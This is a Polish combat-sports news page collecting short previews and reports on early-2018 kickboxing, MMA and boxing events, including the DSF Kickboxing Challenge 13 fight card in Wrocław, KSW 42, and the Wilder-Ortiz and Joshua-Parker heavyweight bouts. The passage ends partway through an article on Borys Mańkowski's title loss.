W ostatnich kilkunastu miesiącach 25-letni Maksymilian Bratkowicz rozwinął się w fenomenalny sposób. Niekonwencjonalne techniki, instynkt zabójcy i nokautujący cios doprowadziły go do złotego medalu na mistrzostwach świata K-1 w Budapeszcie. Teraz Maks ma tylko jeden cel – zrewanżować się Kubiszynowi za minimalną porażkę z grudnia 2016.

– Byk ostrzy rogi! Nigdy nie byłem tak dobrze przygotowany do walki. Jestem gotowy na 5 rund ostrej bitki – zapewnia wrocławianin. – Albo ja, albo on. Jeden na pewno padnie. Wszyscy wiedzą, że walczę do upadłego i zawsze pokazuję serce. Przyjdźcie do Hali Orbita i zobaczcie nowego mistrza wagi średniej!

Również Mateusz Kubiszyn jest dziś innym zawodnikiem niż podczas pierwszego starcia z Maksem. Z walki na walkę „Don Diego” jest coraz pewniejszy w formule K-1, choć największy dotychczasowy sukces (tytuł mistrza świata z 2015 roku) zdobył w Dublinie w Full Contakcie. Teraz zawodnik reprezentujący klub KKS Sporty Walki Poznań czuje się gotowy do pojedynku o pas federacji DSF Kickboxing Challenge.

Zobacz najlepsze nokauty na galach DSF Kickboxing Challenge >>>

– Walka mistrzowska wymaga zupełnie innego nastawienia mentalnego. Będzie trzeba umiejętnie rozkładać siły na 5 rund, ale jestem przygotowanyMaks ma w jednym rację, kibice zobaczą nowego mistrza. Życzę mu, żeby zostawił w ringu całego siebie. Czy będzie ogień? Na pewno, ja już powoli go rozpalam – zapewnia 26-letni Kubiszyn. – Niedługo będę pozdrawiał kibiców z ręką uniesioną ku górze i z nowym pasem mistrzowskim na biodrach!

Walka Bratkowicz-Kubiszyn II to dane główne gali DSF Kickboxing Challenge 13 we Wrocławiu. Stawką będzie pierwszy w historii federacji pas mistrzowski w kategorii średniej (-86 kg). Wcześniej odbędą się dwa pojedynki o tytuły mistrza świata WAKO PRO. W wadze junior półśredniej (-64,5 kg) Eliasz Janowski zmierzy się w K-1 z Białorusinem Yuriyem Zhukovskym, a w królewskiej kategorii ( 94,1 kg) w formule Low Kick polski czempion Michał Turyński będzie bronił swego trofeum w rewanżowym starciu z legendarnym Dzevadem „BH Machine” Poturakiem z Bośni i Hercegowiny. Wcześniej w DSF Kickboxing Challenge zadebiutuje znakomity Paweł Biszczak – do niedawna mistrz FEN. Po raz pierwszy w federacji wystąpią również m.in. Róża Gumienna oraz Dawid Żółtaszek, który nigdy wcześniej nie walczył w Polsce.

Zobacz zapowiedź walki Turyński-Poturak II >>>

Transmisję z gali DSF Kickboxing Challenge 13 z Hali Orbita we Wrocławiu przeprowadzi od godziny 20:00 telewizja Canal SportPoza granicami Polski kibice będą mogli oglądać imprezę całkowicie za darmo za pośrednictwem platformy DSFLIVE.com. Bilety w cenie od 40 PLN są dostępne na ticketclub.pl.

""

Ważne informacje dla dziennikarzy:

CEREMONIA WAŻENIA odbędzie się w Novotel Wrocław Centrum w piątek (2 lutego) o godzinie 10:00.

WNIOSKI O AKREDYTACJE prosimy przesyłać do środy 31 stycznia na adres pr@dsfchallenge.com.

Biszczak: W DSF będę dawał z siebie wszystko

3 lutego we wrocławskiej hali Orbita odbędzie się gala DSF Kickboxing Challenge 13. Jedną z gwiazd będzie Paweł Biszczak, który zadebiutuje w federacji Sławomira Duby. Naprzeciw 32-letniego fightera stanie Abdallah Mabel.

Transfer roku

Przejście Pawła Biszczaka do DSF to duże wydarzenie. 2018 rok federacja rozpoczęła z przytupem i podpisała umowę z zawodnikiem, który zdobywał mistrzostwo Polski w K-1 i zawodowe mistrzostwo Europy WKN. Ostatnio Biszczak związany był z federacją FEN, gdzie zasiadał na tronie wagi półśredniej. – FEN będę zawsze dobrze wspominać. Myślę, że nasza współpraca była oparta na przynoszeniu obopólnych korzyści dla jednej i drugiej strony. Swoją osobą wnosiłem wiele  sportowych emocji. Na gale FEN przyjeżdżali moi fani, za co im z góry dziękuje, bo to dla mnie duże wsparcie. Zaś FEN dawał mi możliwość pokazania się na zawodowych galach w Polsce – podaje FighTime.pl Paweł Biszczak.

Prezes DSF Kickboxing Challenge Sławomir Duba otwarcie przyznaje, że nowy nabytek ma potencjał, aby stać się zawodnikiem na miarę takich legend jak Marek Piotrowski i Piotr Siegoczyński. Poprzeczka przed Biszczakiem jest zawieszona wysoko. Już sam fakt, że jego przejście do DSF określane jest jako „transfer roku” wywiera na nim dodatkową presję. Biszczak podkreśla, że jest gotów na kolejne wyzwania. – Może to zabrzmi nieskromnie, ale nie mam z tym żadnego problemu. Jestem sportowcem z krwi i kości. Dla mnie w tym wszystkim najważniejszy jest sport. Nie traktuję tego w kategorii „transfer roku”. Coś się kończy i coś zaczyna. W DSF będę dawał z siebie wszystko, podobnie jak wcześniej kiedy startowałem w zawodach i kiedy wchodziłem do ringu, nie tylko w FEN. DSF jest dla mnie czymś nowym, co zwiększa moją motywację do działania. Do każdej walki przygotowuję się na 100% i tak będzie w DSF. Dodatkowo, wiem, że w Federacja DSF Kickboxing Challenge stawia na naprawdę mocnych sportowców i przede wszystkim to mnie skłoniło do zawarcia współpracy – tłumaczy Biszczak.

Czas na debiut

3 lutego oczy wszystkich będą zwrócone na Pawła Biszczaka. Karta walk prezentuje się imponująco, ale debiut 32-latka w DSF przyciąga uwagę. – To walka na swoim terenie, pochodzę z Dolnego Śląska i tu przyjeżdża do mnie najwięcej moich kibiców. Mam nadzieję, że będzie tak  i tym razem.  Obecność moich fanów, kolegów, rodziny tylko mnie bardziej motywuje do działania. W dniu walki staram się wyciszyć, ale jak idę do ringu i słyszę wsparcie to tylko dodaje mi większego powera, choć wtedy ciężko słyszeć narożnik. A poza tym miejscowość, w której walczę nie ma żadnego znaczenia to nie o to chodzi – wyjaśnia zawodnik z Legnicy.

Fot. Paweł Biszczak Official Fanpage

KM

Wiadomo coraz więcej

3 marca, już po raz piąty, Konfrontacja Sztuk Walki będzie gościła w łódzkiej Atlas Arenie. Organizacja odkrywa kolejne karty. Hitem ma być starcie Mameda Khalidova z Tomaszem Narkunem, gromy mogą posypać się w pojedynku Mateusza Gamrota z Grzegorzem Szulakowskim. Do debiutu szykują się Karolina Owczarz, Paulina Raszewska i Bartłomiej Kopera.

Polecą gromy?

Po raz pierwszy łódzka Atlas Arena gościła zawodników KSW we wrześniu 2010 roku. Na gali numer 14 Przemysław Saleta pokonał Marcina Najmana, a Mariusz Pudzianowski wygrał z Ericem Eschem. Właśnie w Łodzi po mistrzowski pas w kategorii półciężkiej sięgnął Jan Błachowicz (KSW 17), a Michał Materla został królem wagi średniej (KSW 19). 3 marca w Łodzi odbędzie się już 42 gala KSW, podczas której zaprezentują się czołowi zawodnicy organizacji.

Na myśl o walce wieczoru niektórym „cieknie ślinka”. Starcie mistrzów: Mameda Khalidova i Tomasza Narkuna ma być esencją tego, co najlepsze w polskim MMA. Obaj potrafią w niekonwencjonalnym sposób zakończyć pojedynek, są mistrzami w swoich kategoriach wagowych. Narkun ostatnich pięć walk kończył już w pierwszej rundzie, zaś Khalidov jeszcze nigdy nie przegrał w KSW.

Michał Materla przez długi czas musiał walczyć, jednak nie w oktagonie, a o wyjście na wolność. W końcu kibice mogli go podziwiać podczas KSW 40 w Dublinie, gdzie w drugiej rundzie zasypał ciosami Paulo Thiago i odniósł 25 zwycięstwo w karierze. W Łodzi rywalem Materli będzie Scott Askham, który ma doświadczenie z rywalizacji w UFC. W amerykańskiej organizacji przegrał m.in. z Krzysztofem Jotko. Ostatnio, na gali ACB 70, pokonał Luke’a Barnatta.

Nadszedł czas na rewanż. Tak z pewnością myśli Łukasz Jurkowski, który przygotowuje się do starcia z Martinem Zawadą. Polak przegrał z Niemcem na KSW 6. 34-letni Zawada wygrał dwie z ostatnich trzech walk. Ale poprzednie lata w jego wykonaniu to istna sinusoida. Z kolei Jurkowski powrócił do rywalizacji po sześcioletniej przerwie i na gali na PGE Narodowym pokonał Rameau Thierry’ego Sokoudjou.

W Łodzi pasa mistrzyni kategorii muszej będzie broniła Ariane Lpiski. 24-letnia Brazylijka nadal czeka na nazwisko rywalki. Ciekawie zapowiada się rywalizacja o pas wagi lekkiej. Mateusz Gamrot zmierzy się z Grzegorzem Szulakowskim. Wokół ostatniej walki czempiona wagi lekkiej było mnóstwo zamieszania. Najpierw Norman Parke nie zrobił wagi, a później doszło do awantury podczas pojedynku. Obaj zawodnicy zostali ukarani. Teraz Gamrot musi skoncentrować się na kolejnej obronie pasa mistrzowskiego i powstrzymać rozpędzonego Grzegorza Szulakowskiego. Urodzony w Namysłowie zawodnik wygrał wszystkie cztery walki w KSW, a ostatnio (KSW 41) efektowną skrętówką poddał Kamila Szymuszowskiego.

Na KSW 42 odbędzie się pojedynek Marcina Wójcika z doświadczonym Irlandczykiem Chrisem Fieldsem.

Debiuty

3 marca na gali KSW 42 nie może zabraknąć pięknych pań. Będzie Ariane Lipski, a po raz pierwszy w oktagonie zaprezentują się Karolina Owczarz i Paulina Raszewska. Pierwsza to była bokserka, a do niedawna dziennikarka sportowa. Jej rywalką będzie Paulina Raszewska, która ma spore doświadczenie w sportach walki. Trenerka KSW Cross Fight Gym ma na swoim koncie m.in. mistrzostwa Polski w sandzie.

Po raz pierwszy w KSW zaprezentuje się Bartłomiej Kopera. 25-latek z Łodzi ma za sobą przygodę z federacją FEN, w której wygrał trzy walki. W Łodzi Kopera zmierzy się z Filipem Wolańskim.

Fot. Mateusz Gamrot Facebook

KM

Kowalewicz do Jordanii po pas

Przed Jakubem Kowalewiczem daleka podróż. 2 marca polski zawodnik MMA zaprezentuje się na gali Brave 10: The Kingdom Raises. Kowalkiewicz zmierzy się z Eliasem Boudegzdamem o pas wagi piórkowej.

24-latek, mający za sobą występy na galach KSW i FEN, nie będzie jedynym Polakiem, który wystąpi w Jordanii. Debiut w organizacji Brave zaliczy Paweł Kiełek.

Podróż po pas

Na początek dwa słowa o organizacji Brave. Powstała ona półtora roku temu w Bahrajnie. Dotychczas odbyło się dziewięć gal organizacji Brave.

Z dala od domu przyjdzie stoczyć Jakubowi Kowalewiczowi najważniejszą walkę w dotychczasowej karierze. 24-latek stanie przed szansą zdobycia pasa mistrzowskiego. Prawo do rywalizacji o tytuł zdobył w kwietniu 2017 roku, kiedy to na gali Brave 5 w Indiach na dystansie trzech rund okazał się lepszy od Alexa da Silvy. Była to trzecia wygrana Kowalewicza z rzędu. Wcześniej w pierwszych rundach Polak odprawił kolejno: Daniela Chrzanowskiego (gala WCA 2) i Leonida Smirnova (WCA 3). Wcześniej 24-latek z powodzeniem występował na galach KSW. Dla organizacji Martina Lewandowskiego i Macieja Kawulskiego stoczył cztery pojedynki, z których trzy wygrał.

Kowalewicz ma szansę odnieść największy sukces w dotychczasowej karierze. Wydaje się, że zawodnik jest gotowy na czekające go 2 marca wyzwanie. – Oficjalnie ! Gala 2 Marca – Jordania, walka wieczoru i o pas Federacji Brave! Brave Combat Federation dziękuje za tą szansę, zrobię wszystko, aby zabrać pas do Polski! – napisał Kowalewicz na swoim Facebooku.

Na gali w Jordanii Polak zmierzy się z Eliasem Boudegzdamem. 24-letni Francuz ma passę pięciu wygranych z rzędu. W kwietniu 2016 roku na gali Slava Republic 1 – Bojano Boudegzdam pokonał Krzysztofa Klaczka. Ostatnio Francuz, na gali Brave 4, okazał się lepszy od mającego za sobą występy w UFC Meksykanina Masio Fullena. W starciu z Boudegzdamem Kowalewicz musi być niezwykle czujny. Francuz jest do bólu skuteczny w parterze. Dwanaście z czternastu wygranych walk zakończył przez poddanie.

Po dziewiąte zwycięstwo

2 marca w Jordanii zaprezentuje się utalentowany Paweł Kiełek. Ostatnio 22-latek występował na galach organizacji ACB. 1 lipca ubiegłego roku w Ergo Arenie w drugiej rundzie rozbił Ireneusza Szydłowskiego. Wcześniej Kiełek walczył m.in. na galach organizacji Fight Exclusive Night.

W Jordanii Polak zmierzy się z Tyler'em Hillem. 26-letni Amerykanin miał okazję wystąpić na gali Bellator 162, gdzie przegrał z Wade'm Johnsonem.

fot. Kuba Kowalewicz Facebook

KM

Przypatrujemy się Kownackiemu

Od kilku dni w powietrzu unosi się magia nazwiska Kownacki. Adam zwraca na siebie uwagę znakomitą postawą w ringu. Z kolei Dawid Kownacki na piłkarskim boisku coraz śmielej poczyna sobie w barwach Sampdorii Genua.

Obaj znaleźli się pod baczną obserwacją. O młodym piłkarzu wiadomo było, że ma spore możliwości. Z kolei Adam Kownacki przebił błonę anonimowości i wszyscy obserwują każdy kolejny krok pięściarza. Już pojawiają się głosy, że 28-latek jest na dobrej drodze do walki o pas.

Gromi wszystkich

Należyte wykonanie zadania sprawia człowiekowi satysfakcję. W przypadku kariery bokserskiej Adama Kownackiego możemy zaryzykować stwierdzenie, że swoją pracę wykonuje wręcz perfekcyjnie. Siedemnaście walk i wszystkie wygrane, w tym czternaście przed czasem. Miano niepokonanego i ciekawe wizje na przyszłość.

Adam Kownacki miał być dla Artura Szpilki swego rodzaju trampoliną. Po przegranej z Deontayem Wilderem w starciu o pas WBC, „Szpila” długo czekał na rywala. W końcu los skojarzył go z Kownackim. Potencjał pięściarza z Wieliczki oceniano wyżej, a zarazem podkreślano, że w jego przypadku zwycięstwo jest konieczne. Kownacki był gdzieś w tle, ale podkreślał, że znokautuje Szpilkę. Jak powiedział, tak zrobił. W czwartej rundzie mógł cieszyć się z wygranej. To starcie miało być przepustką dla pięściarza urodzonego w Łomży do innego bokserskiego wymiaru.

Po raz kolejny Kownacki pokazał swoją siłę w starciu z Gruzinem Iago Kiladze. Popularny "Babyface" do zwycięstwa potrzebował zaledwie sześciu rund. A to i tak dużo, bo aż trzynaście walk zakończył wcześniej! Dwukrotnie rywale nie przetrwali z Kownackim nawet minuty! Pięściarz przeważnie wygrywa w drugich rundach (sześć razy).Dotychczas trzech rywali przetrwało z Kownackim pełen dystans.

Przyszłość należy do niego?

Kownacki wykonuje dobrą robotę i ma spory potencjał, ale na chłodno trzeba oceniać jego obecne możliwości. Na walkę o pas mistrzowski musi jeszcze poczekać. Po pierwsze, konieczne jest nabycie właściwego doświadczenia. Po drugie, Kownacki ma pewne braki w obronie, które należy wyeliminować. Niektórzy zwracają również uwagę na nadwagę boksera. A to może mieć wpływ na jego kondycję.

Jedno jest jednak pewne. Kownacki potrafi przyłożyć i to jest jego atut, którym będzie straszył kolejnych rywali. Kilku musi jeszcze „położyć”, żeby znaleźć się w gronie kandydatów do mistrzowskich pasów wagi ciężkiej.

Fot. Adam Kownacki Facebook

KM

Wielki rewanż na FEN 20!

Znamy nazwisko zawodnika, z którym zmierzy się Krzysztof Kułak (29-15-2, 7 KO, 15 SUB)  podczas gali Fight Exclusive Night 20 "Next Level". Naprzeciwko częstochowianina zobaczymy Michała Tarabańkę (3-6, 1 KO, 1 SUB).

Kułak to weteran polskiego MMA i jeden z prekursorów mieszanych sztuk walki w naszym kraju. W Warszawie zadebiutuje pod szyldem FEN i zamierza rządzić w kategorii średniej. „Model” jest pewny siebie i deklarował kilka tygodni temu, że może skonfrontować się z każdym przeciwnikiem, a z Tarabańką już raz walczył, w maju 2017 roku, i wygrał przez poddanie w drugiej rundzie. Kułak ma na swoim koncie 29 zwycięstw, z czego aż 15 poddań. Efektowność, z jaką kończy kolejne walki, będzie w Warszawie jego największym atutem.

Tarabańka ostatnim razem w klatce pojawił się właśnie w pojedynku z Kułakiem. Teraz jego celem jest zwyciężenie w rewanżu i pokazanie się z dobrej strony podczas swojego debiutu pod szyldem FEN. W przeszłości zawodnik ten pokonywał takich rywali, jak Łukasz Uliński, Tomasz Dybowski i Yuri Bybochkin. Tarabańka podkreśla, że najlepsze dopiero przed nim, a od Warszawy zacznie swoją drogę na szczyt w kategorii średniej w FEN.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Celiński na pokładzie DSF

W organizacji DSF Kickboxing Challenge pojawił się kolejny znany zawodnik. Kontrakt z federacją podpisał Karol Celiński.

To kolejny „głośny transfer” DSF. Wcześniej umowy z organizacją podpisali Daniel Omielańczuk, Marcin Różalski i Paweł Biszczak.

Ciężkie działa

Można powiedzieć, że organizacja DSF Kickboxing Challenge szaleje. W grudniu na gali w warszawskiej restauracji Champions Sports Bar kibice mogli podziwiać w akcji Daniela Omielańczuka. Zawodnik postanowił wrócić do korzeni i stanąć do rywalizacji w K-1. Jeszcze kilka miesięcy temu śledziliśmy jego pojedynki w organizacji UFC. W Warszawie Omielańczuk, na dystansie trzech rund, wypunktował Oli Thompsona.

3 lutego we Wrocławiu na gali DSF 13 zadebiutuje Paweł Biszczak, który ostatnio występował na eventach Fight Exclusive Night. Nową postacią w organizacji jest również Marcin Różalski. Pierwszą walkę dla DSF popularny "Różal" stoczy 13 kwietnia.

Organizacja Sławomira Duby nadal zbroi się. W piątek, 19 stycznia, kontraktem związał się doświadczony Karol Celiński. – Znakomity Karol "Cebula" Celiński, który wygrywa walkę za walką w federacji @ACB_League, dołącza dziś do najsilniejszej federacji kickbokserskiej w Polsce i będzie walczył zawodowo w K-1! – poinformowała organizacja na Twitterze.

Karol Celiński ma 37 lat. Zawodnik urodzony w Olsztynie szerszej publiczności znany jest z występów w KSW, gdzie stoczył trzy walki. Wygrał tylko jedną, ale starcie Celińskiego z Tomaszem Kondraciukiem zostanie na długo zapamiętane. Ostatnio 37-latek z powodzeniem rywalizował w rosyjskiej organizacji ACB. Celiński zapisał na swoim koncie trzy zwycięstwa. W ostatnim starciu w Moskwie pokonał Maksima Futina w pojedynku, który był eliminatorem do walki o pas w wadze półciężkiej.

Czas na Wrocław

Kolejna gala DSF Kickboxing Challenge odbędzie się już 3 lutego we Wrocławiu. Niemalże tradycją stały się mecze międzypaństwowe. W stolicy Dolnego Śląska Polacy zmierzą się z Czechami. Kibiców czeka pięć emocjonujących walk, w tym debiut Róży Gumiennej, która zmierzy się z Lucie Mlejnkovą.

We Wrocławiu dojdzie do trzech mistrzowskich pojedynków. O pas WAKO Pro w K-1 w kategorii 64,5kg powalczą Eliasz Jankowski i Yuriy Zhukovsky. Niezwykle interesująco zapowiada się starcie Michała Turyńskiego i Dzevada Poturaka. Blisko dwa lata temu Polak odebrał Bośniakowi tytuł mistrza świata WAKO Pro wagi superciężkiej. Głównym wydarzeniem wieczoru będzie starcie Maksymiliana Bratkowicza i Mateusza Kubiszyna o pas DSF w kategorii do 86kg.

KM

Brazylijskie starcie o pas?

Cristiane Justino czeka na drugą obronę pasa mistrzowskiego UFC w kategorii piórkowej.  Możliwe, że 32-letnia Brazylijka zmierzy się ze swoją rodaczką – Amandą Nunes. Na walkę o pas czeka również Joanna Jędrzejczyk, która utraciła tytuł najlepszej w wadze słomkowej na rzecz Rose Namajunas.

Wszystko jest "palcem na wodzie pisane", bo brakuje konkretów. W obu przypadkach "coś w trawie piszczy", a więc obok takich informacji nie można przejść obojętnie.

Wojowniczki z Brazylii

Cristiane Justino nikomu nie trzeba przedstawiać. Brazylijka uchodzi za najlepszą wojowniczkę na świecie i w kolejnych walkach potwierdza swoje umiejętności. W każdej organizacji, w której przyszło jej toczyć boje zostawała mistrzynią. Pas straciła tylko raz, ale nie w oktagonie, lecz przez… doping. W grudniu 2011 roku, jeszcze w Strikeforce, popularna "Cyborg" walczyła z Hiroko Yamanaką. Kilka tygodni później Brazylijka została ukarana, bo badania antydopingowe wykazały obecność stanozololu w jej organizmie. Straciła tytuł, została zdyskwalifikowana i wróciła dopiero w 2013 roku. Szybko podbiła kategorię piórkową w organizacji Invicta. Justino stała się gwiazdą pierwszego planu i naturalne było, że prędzej czy później trafi do UFC.

W najlepszej organizacji MMA na świecie zadebiutowała w maju 2016 roku na gali w Kurytybie. Wygrała już w pierwszej rundzie z Leslie Smith. W lipcu ubiegłego roku pokonała Tonyę Evinger, dzięki czemu sięgnęła po mistrzostwo wagi piórkowej. Od powrotu po wpadce dopingowej, była to jej ósma walka i ósma wygrana przed czasem! Wydawało się, że Justino nikt nie zatrzyma. W grudniu opór stawiła jej Holly Holm, która spędziła w oktagonie pięć rund, ale pas nie był jej dany.

W drugiej obronie tytułu Justino może spotkać się z Amandą Nunes. 29-latka urodzona w Salvadorze jest mistrzynią wagi koguciej. Tytuł wywalczyła w lipcu 2016 roku, kiedy przez duszenie zza pleców w pierwszej rundzie pokonała Meshę Tate. Brazylijka dwukrotnie broniła pasa. Warto dodać, że Nunes ma passę sześciu wygranych z rzędu.

 Starcie Brazylijek stanowiłoby kumulację tego, co najlepsze w kobiecym MMA. W końcu spotkałyby się dwie mistrzynie, jednak na razie poruszamy się na płaszczyźnie przypuszczeń. Portal combate.com podał, że Justino i Nunes miałyby spotkać się 26 maja na gali UFC 224 w Rio de Janeiro.

Kiedy Polka wróci do gry?

Interesujące są również losy pasa wagi słomkowej, który znajduje się w posiadaniu Rose Namajunas. 25-latka niespodziewanie sięgnęła po mistrzostwo pokonując podczas UFC 217 Joannę Jędrzejczyk. Dla Polki była to pierwsza porażka w karierze. Cały czas mówi się o rewanżu. "Jaskółki ćwierkają", że starcie Namajunas z Jędrzejczyk mogłoby się odbyć 7 kwietnia na gali UFC 223. 

KM

DSF Kickboxing Challenge 13: Oto pełna karta walk gali we Wrocławiu – trzy walki o mistrzowskie pasy!

3 lutego najlepszy kickboxing w Polsce zagości we Wrocławiu – kolebce tego sportu nad Wisłą. Na gali DSF Kickboxing Challenge 13 zobaczymy w akcji śmietankę lokalnej sceny kickbokserskiej. Oprócz walk z udziałem miejscowych gwiazd odbędą się aż trzy pojedynki mistrzowskie: dwa o światowy czempionat WAKO PRO i jako główna atrakcja wieczoru – starcie o pierwszy w historii pas DSF Kickboxing Challenge w kategorii do 86 kilogramów. Oto pełna karta walk!

Federacja stworzona przez Sławomira Duba zanotowała w ostatnim czasie kilka bardzo istotnych wzmocnień. W ubiegłym roku dołączyli m.in. Marcin Różalski i Daniel Omielańczuk, a na początku 2018 roku ujawnione zostały kolejne duże transfery.

Na DSF Kickboxing Challenge 13 dojdzie do debiutu kilku zawodników znanych z udanych występów w innych federacjach. Po raz pierwszy na imprezie krajowego lidera zaprezentują się między innymi mistrzowie FEN – Paweł Biszczak (75 kg) oraz Róża Gumienna (65 kg), która zapowiada, że godnie zastąpi Dorotę Godzinę na tronie królowej polskiego kickboxingu.

We Wrocławiu odbędzie się także wyczekiwany debiut w Polsce Dawida Żółtaszka. Kickbokser mieszkający na stałe w Anglii walczy z powodzeniem na całym świecie, lecz nie miał jeszcze okazji pokazać się własnej publiczności. Za sprawą DSF Kickboxing Challenge otrzyma tę szansę w mieście, z którego pochodzi.

– To dla mnie podwójnie ekscytujące wydarzenie. Nie dość, że debiut w Polsce i w federacji DSF Kickboxing Challenge, to jeszcze dojdzie do tego na moim własnym podwórku we Wrocławiu. Już nie mogę się doczekać tej walki. Zapraszam na nią wszystkich kibiców, którzy od dawna chcą mnie zobaczyć na żywo w akcji! – mówi zachwycony Żółtaszek.

W walce wieczoru zmierzy się dwóch amatorskich mistrzów świata. Złoty medalista mistrzostw świata K-1 sprzed dwóch miesięcy Maksymilian Bratkowicz (Gym-Fight Wrocław) postara się zrewanżować Mateuszowi Kubiszynowi (KKS Sporty Walki Poznań) za minimalną porażkę z grudnia 2016 roku. W ciągu kilkunastu miesięcy obaj poczynili ogromne postępy. Kto będzie górą 3 lutego w Hali Orbita we Wrocławiu?

DSF Kickboxing Challenge 13 – KARTA WALK:

Walki w formule K-1 transmitowane przez Player.pl (3 x 3 min)

K-1 (-60 kg) Krystian Bernatowicz vs Dominik Tomica
K-1 (-71 kg) Tomasz Brotoń vs Mateusz Brusiło

Mecz międzynarodowy w K-1: Polska kontra Czechy (5 walk 3 x 3 min)

1. K-1 (-71 kg) Paweł Józefowicz vs Denis Farkas

2. K-1 (-91 kg) Marcin Bachórz vs Adam Audy

3. K-1 (-75 kg) Dominik Zadora vsAnatoli Hunanyan

4. K-1 (-65 kg) Róża Gumienna vsLucie Mlejnkova

5. K-1 (-71 kg) Adam Gielata vsTadeas Ruzicka

Walki rankingowe w K-1 (3 x 3 min)

K-1 ( 91 kg) Dawid Żółtaszek vsŁukasz Lipniacki

K-1 (-75 kg) Paweł Biszczak vsAbdallah Mabel (Francja/Kamerun)

Walka o pas mistrza świata WAKO PRO w formule K-1 (5 x 3 min)

K-1 (-64,5 kg) Eliasz Jankowski vs Yuriy Zhukovsky (Białoruś)

Walka o pas mistrza świata WAKO PRO w formule Low Kick (5 x 3 min)

Low Kick ( 94,1 kg) Michał Turyńskivs Dzevad Poturak (Bośnia i Hercegowina)

Walka wieczoru o pas DSF Kickboxing Challenge (5 x 3 min)

K-1 (-86 kg) Maksymilian Bratkowicz vs Mateusz Kubiszyn

Transmisję z gali DSF Kickboxing Challenge 13 z Hali Orbita we Wrocławiu przeprowadzi telewizja Canal Sport oraz platformy Player.pl i DSFLIVE.com dostępna za darmo wszędzie poza granicami Polski. Bilety w cenie od 40 PLN są dostępne na ticketclub.pl.

Kto znajdzie się w finale?

Takie pytanie nasuwa się, gdy myślimy o marcowych starciach mistrzowskich w wadze ciężkiej. 3 marca w Barclays Center Deontay Wilder zmierzy się z Luisem Ortizem, zaś 31 marca dojdzie do pojedynku Anthony’ego Joshuy z Josephem Parkerem.

Temperatura rośnie z każdym dniem. Wiosna zapowiada się niezwykle ciekawie, ale to, co najlepsze może dopiero nadejść.

Atmosfera się nakręca

Wokół starcia Wildera i Ortiza musi być gorąco. Innej możliwości nie ma. To nie jest spotkanie dżentelmenów i dyskusja pełna uprzejmości, lecz zdecydowane szarże słowne i pewność siebie z każdej strony. Wilder i Ortiz czują moc, jednak 3 marca jednemu z nich jej zabraknie.

Na pojedynek Amerykanina i Kubańczyka trzeba było trochę poczekać. Walka miała odbyć się jesienią zeszłego roku, dokładnie 4 listopada w Nowym Jorku. Kubański pięściarz został przyłapany na stosowaniu dopingu, pojedynek odwołano. Jednak kilka tygodni później Luis Ortiz został oczyszczony z zarzutów przez federację WBC. Temat walki potężnego „King Konga” z mistrzem świata WBC ponownie wrócił na pierwszy plan. Fani boksu dostaną to, czego chcą i 3 marca w Barclays Center w Nowym Jorku ujrzą dwóch głodnych rywalizacji i zdeterminowanych pięściarzy.

Jak zawsze Wilder jest pewny swego. W końcu 38 z 39 walk wygrał przed czasem. Dotychczas sześciokrotnie bronił mistrzowskiego tytułu. Amerykanin nie ma wątpliwości, że Ortiz będzie jego kolejną ofiarą. – Wygram swoją walkę, znokautuję Ortiza. Zrobię to, co do mnie należy. Jestem artystą nokautu – powiedział Deontay Wilder.

Z kolei Luis Ortiz w Nowym Jorku stanie przed życiową szansą. 38-letni Kubańczyk będzie miał szansę zdobyć pas mistrzowski WBC. W swojej karierze był posiadaczem tymczasowego tytułu WBA, jednak z powodu wykrycia w jego organizmie sterydu anabolicznego został zawieszony na osiem miesięcy i stracił swoją zdobycz. Po licznych perturbacjach Ortiz stanie przed zadaniem pokonania Wildera. – Czekają go największe kłopoty w życiu. Nie takie jak znaleziono u niego trawkę. Obedrę go ze skóry – zapowiada Luis Ortiz.

Nieco spokojniej

Druga wielka walka w wadze ciężkiej zapowiada się równie ciekawie. Na szali pojawią się pasy mistrzowskie IBF, IBO, WBA i WBO. Joseph Parker nazwał Joshuę "królem sterydów". Jednak promotor Nowozelandczyka jest innego zdania i zaleca mu, aby ten skupił się na innych rzeczach. Z kolei Joshua już ma pomysł na Parkera, który słynie z mocnej szczęki. 28-latek z Watfordu planuje obijać korpus rywala.

31 marca w Cardiff nie powinno być nudno. Wtedy już Wilder bądź Ortiz będą wypatrywać potencjalnego rywala o prymat w wadze ciężkiej.

KM

 

Mańkowski bierze porażkę na siebie

Porażka z Roberto Soldiciem była dla Borysa Mańkowskiego niezwykle kosztowna. W Katowicach popularny "Diabeł Tasmański" stracił pas mistrza KSW w wadze półśredniej. Zawodnik nie szuka usprawiedliwień i porażkę bierze na siebie.

Borys Mańkowski stał się jedną z najpopularniejszych twarzy KSW. W maju 2017 roku wystąpił w walce wieczoru gali KSW 39 Colosseum na stadionie PGE Narodowy w Warszawie, gdzie przegrał z Mamedem Khalidovem. Z kolei porażka z Soldiciem zepchnęła go z piedestału.

Nie szuka wymówek

Sześć kolejnych wygranych sprawiło, że Mańkowski dołączył do grona pierwszoplanowych postaci KSW. W maju 2014 roku sięgnął po pas mistrzowski w wadze półśredniej pokonując Aslambeka Saidowa. Tym samym zrewanżował się czeczeńskiemu zawodnikowi za wcześniejszą porażkę. Trzy razy skutecznie bronił pasa, dwa pojedynki zakończył przed czasem. W maju 2017 roku stanął przed prawdziwym wyzwaniem. Na stadionie PGE Narodowy zmierzył się z legendą KSW Mamedem Khalidovem, jednak przegrał na punkty. Mańkowski musiał przełknąć gorycz porażki, ale nadal pozostawał mistrzem, bo stawką rywalizacji z czempionem kategorii średniej nie był żaden pas.

